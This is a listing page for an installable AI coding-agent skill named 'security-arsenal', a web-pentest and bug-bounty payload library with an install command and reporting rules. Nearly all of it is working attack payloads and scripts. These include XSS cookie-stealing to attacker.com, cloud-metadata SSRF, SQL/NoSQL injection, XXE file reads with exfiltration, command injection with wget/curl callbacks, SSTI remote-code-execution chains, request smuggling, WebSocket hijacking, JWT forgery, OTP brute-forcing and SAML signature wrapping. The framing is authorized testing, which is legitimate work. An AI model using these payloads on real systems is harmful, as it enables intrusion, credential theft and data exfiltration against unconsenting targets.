mcpField
S
security-arsenal

security-arsenal

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 security-arsenal

面向渗透测试人员和授权研究者的 Web 安全测试参考技能,按常见漏洞类型整理载荷与绕过示例,涵盖探测、利用模式和验证方法。

主要功能

  1. 01XSS 与 DOM XSS 载荷
  2. 02SSRF 与内网服务探测
  3. 03SQL 和 NoSQL 注入示例
  4. 04XXE 与路径遍历载荷
  5. 05认证与授权测试
  6. 06SSTI、请求走私和 WebSocket 探测

适用场景

  1. 01在授权 Web 评估中选择探测方法
  2. 02检查常见注入和访问控制缺陷
  3. 03查阅针对特定技术的绕过方式

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill security-arsenal

安装后在 Claude Code 中输入/security-arsenal确认已加载。

详细介绍

安全工具库

Payload、绕过表、字典和提交规则。


XSS PAYLOAD

基础探测
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)
Cookie 窃取(影响证明)
<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>
CSP 绕过技术
// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">

// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>

// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML reflection
// Vue v-html binding

// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>
DOM XSS 来源和接收点
// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL

// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...)   // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE      // javascript: URI
element.href = SOURCE
location.href = SOURCE

SSRF PAYLOAD

云元数据
# AWS
http://[REDACTED_IP]/latest/meta-data/
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ROLE-NAME
http://[REDACTED_IP]/latest/user-data/
http://[REDACTED_IP]/latest/dynamic/instance-identity/document

# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google

# Azure IMDS
http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01
# Header: Metadata: true
内部服务指纹识别
http://localhost:6379      # Redis (unauthenticated, RESP protocol)
http://localhost:9200      # Elasticsearch (/_cat/indices)
http://localhost:27017     # MongoDB (binary — check for connection refused vs timeout)
http://localhost:8080      # Admin panel
http://localhost:2375      # Docker API — GET /containers/json
http://localhost:10.96.0.1:443  # Kubernetes API server
SSRF IP 绕过 Payload
# All of these map to 127.0.0.1:
http://2130706433          # decimal
http://0177.0.0.1          # octal
http://0x7f.0x0.0x0.0x1   # hex
http://127.1               # short form
http://[::1]               # IPv6 loopback
http://[::ffff:127.0.0.1]  # IPv4-mapped IPv6
http://[::ffff:0x7f000001] # mixed hex IPv6

# DNS rebinding: A→external, then resolves to internal after allowlist check

# Redirect chain (Vercel pattern):
# If filter only checks initial URL but follows redirects:
http://allowed-domain.com/redirect?to=http://[REDACTED_IP]/

SQL 注入 PAYLOAD

检测
'
''
`
')
'))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' UNION SELECT NULL--
'; WAITFOR DELAY '0:0:5'--   -- MSSQL time-based
'; SELECT SLEEP(5)--          -- MySQL time-based
' OR SLEEP(5)--
基于 Union(确定列数)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--
盲注 SQLi(基于时间的确认)
# MySQL
' AND SLEEP(5)--
# PostgreSQL
' AND pg_sleep(5)--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=dbms_pipe.receive_message('a',5)--
WAF 绕过
/*!50000 SELECT*/ * FROM users     -- MySQL inline comment
SE/**/LECT * FROM users             -- comment injection
SeLeCt * FrOm uSeRs                -- case variation
%27 OR %271%27=%271                 -- URL encoding
ʼ OR ʼ1ʼ=ʼ1                       -- Unicode apostrophe

XXE PAYLOAD

经典文件读取
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
通过 HTTP 进行盲 OOB(DNS 确认)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
<foo>&xxe;</foo>
通过 DNS 进行盲 OOB + 数据外泄
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % data SYSTEM "file:///etc/passwd">
  <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
  %param1;
]>
<foo>&exfil;</foo>
通过 DOCX/SVG/PDF 上传进行 XXE
  • SVG:<image href="file:///etc/passwd" />
  • DOCX:在 word/document.xml 中放入包含外部实体的恶意 XML

路径遍历 PAYLOAD

../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd   # double URL encoding
/etc/passwd%00.jpg                     # null byte truncation
....\/....\/etc/passwd                 # mix of separators

IDOR / 身份验证绕过 PAYLOAD

水平权限提升
# Change numeric ID
GET /api/user/123/profile → GET /api/user/124/profile

# Change UUID (find victim UUID via other endpoints)
GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...

# HTTP method swap
PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)

# Old API version
GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)

# Add parameter
GET /api/orders → GET /api/orders?user_id=456
垂直权限提升
# Parameter pollution
POST /api/user/update
{"role": "admin"}
{"isAdmin": true}
{"admin": 1}

# Hidden fields
<input type="hidden" name="admin" value="true">
# Change in Burp before sending

# GraphQL introspection → find admin mutations
{"query": "{ __schema { types { name fields { name } } } }"}

身份验证绕过 PAYLOAD

JWT 攻击
# None algorithm
# Decode JWT, change alg to "none", remove signature
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."

# Secret bruteforce
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/rockyou.txt
OAuth 攻击
# Missing PKCE test
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# No code_challenge → check if 302 (not error) = PKCE not enforced

# State parameter check
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# Missing/static state parameter = CSRF on OAuth = account linkage attack

NoSQL 注入 PAYLOAD(MongoDB)

运算符注入(JSON 请求体)
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": "admin", "password": {"$gt": ""}}
{"$where": "this.username == 'admin'"}
{"username": {"$in": ["admin", "root", "administrator"]}}
GET 参数注入
# URL parameter injection
/login?username[$ne]=null&password[$ne]=null
/login?username[$regex]=.*&password[$regex]=.*
/login?username=admin&password[$gt]=

# MongoDB operator reference:
# $ne = not equal (bypass: value != null = any value matches)
# $gt = greater than (bypass: "" < any string)
# $regex = regex match (bypass: .* = anything)
# $where = JS expression (RCE potential on older MongoDB)
身份验证绕过单行命令
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'

# URL-encoded for GET forms:
# username%5B%24ne%5D=null&password%5B%24ne%5D=null

命令注入 PAYLOAD

基础检测
; id
| id
` id `
$(id)
&& id
|| id
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
盲 OOB(带外确认)
; curl https://attacker.burpcollaborator.net
; nslookup attacker.burpcollaborator.net
$(nslookup attacker.burpcollaborator.net)
`ping -c 1 attacker.burpcollaborator.net`
; wget https://attacker.com/$(id|base64)
绕过技术
# Bypass space filter
;{cat,/etc/passwd}
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;IFS=,;cat,/etc/passwd

# Bypass keyword filter (cat, id blocked)
# Obfuscate with quotes
;c'a't /etc/passwd
;c"a"t /etc/passwd
;$(printf '\x63\x61\x74') /etc/passwd

# Bypass via env
;$BASH -c 'id'
;${IFS}id

# Windows-specific
& dir
| type C:\Windows\win.ini
& ping -n 1 attacker.com
特定上下文(文件名注入)
# File upload filenames
test.jpg; id
test$(id).jpg
test`id`.jpg
../test.jpg
../../../../../../etc/passwd

SSTI 检测 PAYLOAD(所有引擎)

通用探测(全部发送,观察哪些会求值)
{{7*7}}        → 49 = Jinja2 (Python) or Twig (PHP)
${7*7}         → 49 = Freemarker (Java) or Spring EL
<%= 7*7 %>     → 49 = ERB (Ruby) or EJS (Node.js)
#{7*7}         → 49 = Mako (Python) or Pebble (Java)
*{7*7}         → 49 = Spring Thymeleaf
{{7*'7'}}      → 7777777 = Jinja2 (not Twig — Twig gives 49)
${"freemarker.template.utility.Execute"?new()("id")}  → Freemarker RCE
各引擎的 RCE Payload

Jinja2(Python/Flask/Django):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}

Twig(PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

Freemarker(Java):

${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

ERB(Ruby on Rails):

<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').read %>

Spring Thymeleaf:

${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

EJS(Node.js):

<%= process.mainModule.require('child_process').execSync('id') %>
测试位置
Name/bio/username fields, email subject templates, invoice/PDF generators,
URL path parameters reflected in page, error messages, search query reflections,
HTTP headers that appear in rendered responses, notification templates

HTTP 请求走私 PAYLOAD

CL.TE — 前端使用 Content-Length,后端使用 Transfer-Encoding
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
TE.CL — 前端使用 Transfer-Encoding,后端使用 Content-Length
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 3

8
SMUGGLED
0


TE.TE — 两端都支持 Transfer-Encoding,通过混淆禁用其中一端
# Obfuscate the TE header so one layer ignores it
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
H2.CL — HTTP/2 前端注入 Content-Length
# In Burp Repeater, switch to HTTP/2
# Add Content-Length header manually (not auto-set by HTTP/2)
# Front-end ignores CL (HTTP/2 uses :content-length pseudo-header)
# Back-end uses CL → desync
检测(Burp)
1. Install HTTP Request Smuggler extension
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. All four probe types automatically sent
4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED
影响链
Basic desync          → Capture victim's next request → Read their auth token
+ Admin user traffic  → Access admin as victim
+ Cache poisoning     → Stored XSS at scale for all users

WebSocket PAYLOAD

IDOR / 身份验证绕过
// Test: subscribe to other user's channel
{"action": "subscribe", "channel": "user_VICTIM_ID_HERE"}
{"action": "get_history", "userId": "VICTIM_UUID"}
{"action": "getProfile", "id": 2}
{"action": "admin.listUsers"}
{"action": "admin.getToken", "userId": "1"}
跨站 WebSocket 劫持(CSWSH)

<script>
var ws = new WebSocket('wss://target.com/ws');
// Browser automatically sends victim's cookies
ws.onopen = () => ws.send(JSON.stringify({action:"getProfile"}));
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data));
</script>
测试 Origin 验证
# Should reject non-target origins. If it doesn't = CSWSH vulnerability
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
wscat -c "wss://target.com/ws" -H "Origin: null"
wscat -c "wss://target.com/ws" -H "Origin: https://target.com.evil.com"
通过 WS 消息进行注入
// XSS in chat/notification system
{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"}

// SQLi
{"action": "search", "query": "' OR 1=1--"}

// SSRF (if server fetches URLs from messages)
{"action": "preview", "url": "http://[REDACTED_IP]/latest/meta-data/"}

MFA / 2FA 绕过 PAYLOAD

模式 1:OTP 暴力破解(无速率限制)
# Try all 6-digit OTPs
ffuf -u "https://target.com/api/verify-otp" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 \
  -t 5

# Rate limit bypass: rotate session tokens between requests
# Or use GraphQL batching to send 100 attempts per request
模式 2:重复使用 OTP(令牌未失效)
1. Request OTP → receive "123456"
2. Submit OTP correctly → authenticated
3. Log out
4. Log in again
5. Submit same OTP "123456" (expired? still works?)
6. Try OTP from previous session at new login
模式 3:响应篡改
Step 1: Enter wrong OTP → intercept response in Burp
Step 2: Change: {"success": false, "message": "Invalid OTP"} → {"success": true}
Step 3: Forward modified response → sometimes app trusts it and proceeds
Also try: change status code 401 → 200, or change redirect from /failed to /dashboard
模式 4:验证码可预测
import requests, time

# Some implementations use timestamp-based OTPs:
for t_offset in range(-30, 31):  # Test ±30 seconds
    totp_value = generate_totp(secret, time.time() + t_offset)
    r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})
    if r.status_code == 200:
        print(f"VALID at offset {t_offset}s: {totp_value}")
        break
模式 5:备用验证码没有速率限制
# Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP
# Try brute force on /api/verify-backup-code if no rate limit
模式 6:跳过 MFA 步骤(工作流绕过)
# After entering username/password, you get a session cookie
# Test: skip the /mfa/verify step entirely, go directly to /dashboard
# If cookie grants access before MFA = auth flow bypass

# Also: complete MFA in one session, reuse cookie in another browser
# Checks whether MFA completion is tied to the specific session
模式 7:MFA 验证竞态
import asyncio, aiohttp

# Race 2 MFA verifications simultaneously
# If both succeed = parallel session ATO
async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return await r.json()

async def race():
    async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s:
        results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
        print(results)

asyncio.run(race())

SAML 攻击

攻击 1:XML 签名包装(XSW)

<saml:Assertion ID="legit">
  <NameID>[email protected]</NameID>
  <ds:Signature>VALID_SIGNATURE_OVER_legit</ds:Signature>
</saml:Assertion>



<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>     
  </saml:Assertion>
  <saml:Assertion ID="legit">              
    <NameID>[email protected]</NameID>
    <ds:Signature>VALID_SIGNATURE</ds:Signature>
  </saml:Assertion>
</saml:Response>
攻击 2:在 NameID 中注入注释


<NameID>[email protected]</NameID>



攻击 3:移除签名
1. Capture SAMLResponse (base64 decode from browser)
2. Remove or modify the <Signature> element entirely
3. Change NameID to [email protected]
4. Re-encode and submit
5. If server doesn't validate signature presence = admin login
攻击 4:SAML 断言中的 XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Response>
  <saml:Assertion>
    <NameID>&xxe;</NameID>
  </saml:Assertion>
</saml:Response>
工具
# SAMLRaider (Burp extension) — most automated XSW testing
# Install from BApp Store, intercept SAMLResponse, right-click → SAML Raider

# Manual: decode, modify, re-encode
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml
# Edit saml.xml
cat saml.xml | base64 -w0  # Re-encode

GF 模式名称(tomnomnom/gf)

# Install: https://github.com/tomnomnom/gf
# Usage: cat urls.txt | gf PATTERN

gf xss          # XSS parameters
gf ssrf         # SSRF parameters
gf idor         # IDOR parameters
gf sqli         # SQL injection parameters
gf redirect     # Open redirect parameters
gf lfi          # Local file inclusion
gf rce          # Remote code execution parameters
gf ssti         # Template injection parameters
gf debug_logic  # Debug/logic parameters
gf secrets      # Secret/token patterns
gf upload-fields # File upload parameters
gf cors         # CORS-related parameters

始终拒绝 — 切勿提交

提交这些内容会拉低你的有效率。N/A 会造成影响。不要提交。

Missing CSP / HSTS / X-Frame-Options / other security headers
Missing SPF / DKIM / DMARC
GraphQL introspection alone (no auth bypass, no IDOR)
Banner / version disclosure without a working CVE exploit
Clickjacking on non-sensitive pages (no sensitive action in PoC)
Tabnabbing
CSV injection (no actual code execution shown)
CORS wildcard (*) without credential exfil PoC
Logout CSRF
Self-XSS (only exploits own account)
Open redirect alone (no ATO chain, no OAuth code theft)
OAuth client_secret in mobile app (disclosed, expected)
SSRF with DNS callback only (no internal service access)
Host header injection alone (no password reset poisoning PoC)
Rate limit on non-critical forms (login page Cloudflare, search, contact)
Session not invalidated on logout
Concurrent sessions allowed
Internal IP address in error message
Mixed content (HTTP resources on HTTPS page)
SSL weak cipher suites
Missing HttpOnly / Secure cookie flags alone
Broken external links
Pre-account takeover (usually — requires very specific conditions)
Autocomplete on password fields

有条件成立 — 需要构成攻击链

只有与能够证明实际影响的攻击链结合时,这些情况才有效:

单独发现的问题所需攻击链构成攻击链后的结果
开放重定向+ 通过滥用 redirect_uri 窃取 OAuth 授权码ATO(严重)
点击劫持+ 敏感操作 + 可运行的 PoC(不只是登录)中危
CORS 通配符+ 携带凭据的请求泄露用户数据高危
CSRF+ 敏感操作(转账、更改电子邮件)高危
绕过速率限制+ OTP/令牌暴力破解成功中危/高危
仅 DNS 的 SSRF+ 访问内部服务 + 检索数据中危
Host 标头注入+ 密码重置邮件使用该标头高危
提示词注入+ 读取其他用户的数据(IDOR),或数据外泄,或 RCE高危
S3 存储桶列表+ 包含 API 密钥/OAuth 密钥的 JS 捆绑包中危/高危
自我型 XSS+ 通过 CSRF 在受害者身上触发中危
子域名接管+ 在该子域名注册 OAuth redirect_uri严重
GraphQL 内省+ 通过 mutation 绕过身份验证,或在 node() 上存在 IDOR高危

规则: 先构建攻击链,确认端到端有效,然后再报告。绝不要报告 A 并声称“可以与 B 构成攻击链”——必须证明。


字典(已安装在 ~/wordlists/)

common.txt         # Common directories and files
params.txt         # Parameter names (id, user_id, file, etc.)
api-endpoints.txt  # API endpoint paths (/api/v1/users, etc.)
dirs.txt           # Directory names
sensitive.txt      # Sensitive paths (.env, config.json, backup, etc.)
值得模糊测试的内置路径
# Sensitive files
/.env
/.git/config
/config.json
/credentials.json
/backup.sql
/dump.sql
/.DS_Store
/robots.txt
/sitemap.xml
/.well-known/security.txt

# Admin panels
/admin
/admin/login
/administrator
/wp-admin
/manager
/console
/dashboard
/panel

# API discovery
/api
/api/v1
/api/v2
/graphql
/graphiql
/swagger
/swagger-ui.html
/api-docs
/openapi.json
/v1
/v2

验证

  1. Payload 目录 — 确认 payload 覆盖范围:
    grep -c "XSS\|SQLi\|SSRF\|XXE\|SSTI\|LFI" SKILL.md && echo "PASS: multiple vuln classes covered" || echo "FAIL"
    
  2. WAF 绕过 — 确认存在绕过 payload:
    grep -q "bypass\|filter\|WAF\|encoding" SKILL.md && echo "PASS: bypass payloads present" || echo "FAIL"
    

所有测试都会验证安全工具集是否已准备就绪。


常见陷阱

  • 不理解就使用 payload — <script>alert(1)</script> 是最容易被拦截的 payload。使用前先理解绕过为何有效。
  • 假设所有 payload 都适用于所有目标 — 针对 React 的 XSS payload 与 Angular、PHP 或经典 HTML 的不同。应根据技术栈匹配 payload。
  • 每次测试只用一个 payload — 不同的 WAF、编码方式和上下文需要不同的 payload。每种漏洞至少测试 5 种变体。
  • Payload 列表过时 — WAF 规则会更新。上个月有效的绕过方法可能已被修补。请针对当前目标测试 payload。
  • Payload 缺少上下文标记 — 始终使用唯一标记(8 个以上随机字符),以确认 payload 确实被反射,而非只是巧合。

相关技能与攻击链

  • hunt-xss / hunt-ssrf / hunt-sqli / hunt-ssti / hunt-idor — 当猎手正在主动测试某个参数并需要 payload 时使用。工作流基元:此技能是这些 hunt-* 技能调用的 payload 库;hunt-* 技能负责识别接收点,此技能提供语法。
  • triage-validation — 判断某项发现是否可报告时使用。工作流基元:两个技能中的“始终拒绝”和“有条件成立 — 需要构成攻击链”表必须一致;triage-validation 执行 7 问门槛,此技能提供 Q7 所用的攻击链要求映射。
  • web2-recon — URL 集合已通过 gf 模式分类时使用。工作流基元:侦察阶段输出的 gf xss/ssrf/sqli 结果 → 在此查找相应的 payload 部分;gf 模式名称可直接索引到此技能的 payload 部分。
  • evidence-hygiene — Payload 产生值得截图的输出时使用。工作流基元:payload 证明影响(Cookie 窃取、数据外泄)后,将其交给 evidence-hygiene,在截图成为证据前进行脱敏。
  • bb-methodology — 第 3 阶段(发现)根据输入类型分流时使用。工作流基元:第 3 阶段的决策流程(“ID 参数 → IDOR 检查清单”“URL 输入 → SSRF 检查清单”)会指出需要加载此工具集中的哪个部分。

操作人员备注

根据参与项目的经验整理,并为 2026 年补充了针对性的内容,作为供应商基础内容的扩展。 内容源自真实的授权项目,以及对本仓库 31 个以上技能领域的实时测试所做的第 2 阶段验证。 上游 payload 库介绍的是“是什么”;此层介绍的是“何时有效”与“何时无效”。

载荷时效性——截至 2026 年,哪些已经过时

经典的 CL.TE / TE.CL HTTP 请求走私载荷已无法针对 Nginx ≥ 1.21、Caddy 2.x、Envoy ≥ 1.20 使用(已在 Phase 2H 中验证)。但它们仍可用于 HAProxy ≤ 2.4、较旧的 F5 BIG-IP、Citrix ADC、特定配置的 AWS ALB,以及 Apache Traffic Server。先识别前端——通过 curl -sI 查看 Server: 响应头、Via: 链和 TLS JA3——再决定是否花时间尝试那些解析器一开始就会拒绝的载荷。

XXE 经典载荷的情况也一样——Python lxml ≥ 5.x 默认会静默丢弃 SYSTEM 实体(Phase 2G 的发现)。以下环境仍可使用这些载荷:Java SAX、启用了 LIBXML_NOENT 的 PHP DOMDocument、仍配置了 XmlResolver 的 .NET XmlDocument、较旧版本的 lxml(< 5.0)、启用了 DTDLOAD 的 Ruby Nokogiri,以及大量嵌入式 XML 处理器(SOAP 库、SAML 实现、Office 文档解析器)。载荷库仍包含这些载荷——操作人员需要判断目标解析器是否属于仍存在漏洞的范围。

截至 2026 年,其他默认过时但并非处处无效的载荷包括:<a href> 中的 javascript: URL(Chrome 会阻止,除非有明确的用户手势;在嵌入式 WebView、Electron、较旧的 Edge 中仍可用);用于顶层导航的 data:text/html(现代浏览器会在导航上下文中移除);Location: 中的 CRLF 注入(大多数反向代理会对其进行规范化)。务必在实际目标环境中测试,而非通用浏览器中。

WAF 评估顺序很重要

当同一 WAF 存在多个绕过载荷时,尝试顺序如下:

  1. 编码技巧——大小写变化(SeLeCt)、URL 编码一次、URL 编码两次、Unicode 转义(<)、HTML 实体(&#x3c;)、UTF-8 超长序列。
  2. 解析器怪癖——XML 命名空间、关键字中间的 JSON \u 转义、Content-Type: application/json 与 application/x-www-form-urlencoded 之间的解析器混淆、多部分边界技巧。
  3. 协议层——HTTP/2 与 HTTP/1.1(有些 WAF 只检查其中一种)、Host 响应头注入、X-Original-URL、X-Forwarded-* 走私。
  4. 针对 WAF 规则的绕过——Cloudflare、AWS WAF、Akamai、Imperva、F5 ASM 都存在已知的签名缺口;加载对应厂商的载荷小节。

大多数测试会在第 2 步结束——现代 WAF 会被解析器怪癖类技巧击中,因为 WAF 和源应用对什么是“有效”请求的看法不一致。

所有场景都适用 OOB-Or-It-Didn't-Happen 门槛

所有盲测原语(盲注 SQLi、盲测 XSS、盲测 SSRF、盲测 RCE、盲测 XXE)都需要 OOB 确认。没有确认,就无法区分漏洞和解析器错误日志。Phase 2D 的加固实验室证明,这一门槛可以排除表面上与真实漏洞难以区分的误报——500 页面中的 you have an error in your SQL syntax 错误消息,可能只是来自完全不同请求的解析器日志;请触发 Burp Collaborator 域名(或 interactsh),并确认回调后再提交报告。

截至 2026 年的 OOB 回调基础设施排名:(1)Burp Collaborator(Pro 许可证;最干净),(2)interactsh-client(开源;效果相当),(3)DNSLog.cn(免费,但会由第三方记录——付费测试中绝不可使用),(4)自托管的全捕获 DNS + HTTP 监听器(长期测试中最可靠)。

标记纪律

通用词语会自然出现在目标内容中。搜索 javascript,结果命中“JavaScript 教程”并不代表存在反射——这只是关键词重合。请使用唯一的随机字符串:

m=$(head -c 12 /dev/urandom | base64 | tr -d '+/=' | head -c 12)
# now m is like "K7gXq2pNRm1z" — search for THIS in the response
curl --max-time 30 --connect-timeout 10 "https://target/search?q=${m}" | grep -c "$m"

如果标记出现在响应中,就表示存在反射。如果它在 HTML 上下文中未转义地出现,就说明可能存在 XSS。如果它出现在 Location 响应头中,则存在重定向。如果它出现在 SQL 错误中,则存在注入。标记是唯一的判断依据——通用关键词会骗人。

用于噪声较大的预言机的统计抽样

单次试验的计时差异存在噪声。至少进行 n≥10 次交错试验,并要求 Welch t 统计量 > 3,或置信区间达到同等程度的分离。Phase 2D 使用一个刻意加入噪声的计时预言机对此进行了验证:单次试验显示 129ms 的差异(本来会据此提交);n=10 时,均值分别为 78ms 和 191ms,t=5.26(结果真实且有充分依据)。

用于验证计时侧信道的框架:

import statistics
def welch_t(a, b):
    ma, mb = statistics.mean(a), statistics.mean(b)
    va, vb = statistics.variance(a), statistics.variance(b)
    return (ma - mb) / ((va/len(a) + vb/len(b)) ** 0.5)
# interleave control + test trials, n=10 each, t > 3 = signal

同一规则也适用于受抖动影响的盲布尔预言机,其差异体现在响应长度或状态码上——要进行抽样,不要想当然。

评论

支持 Markdown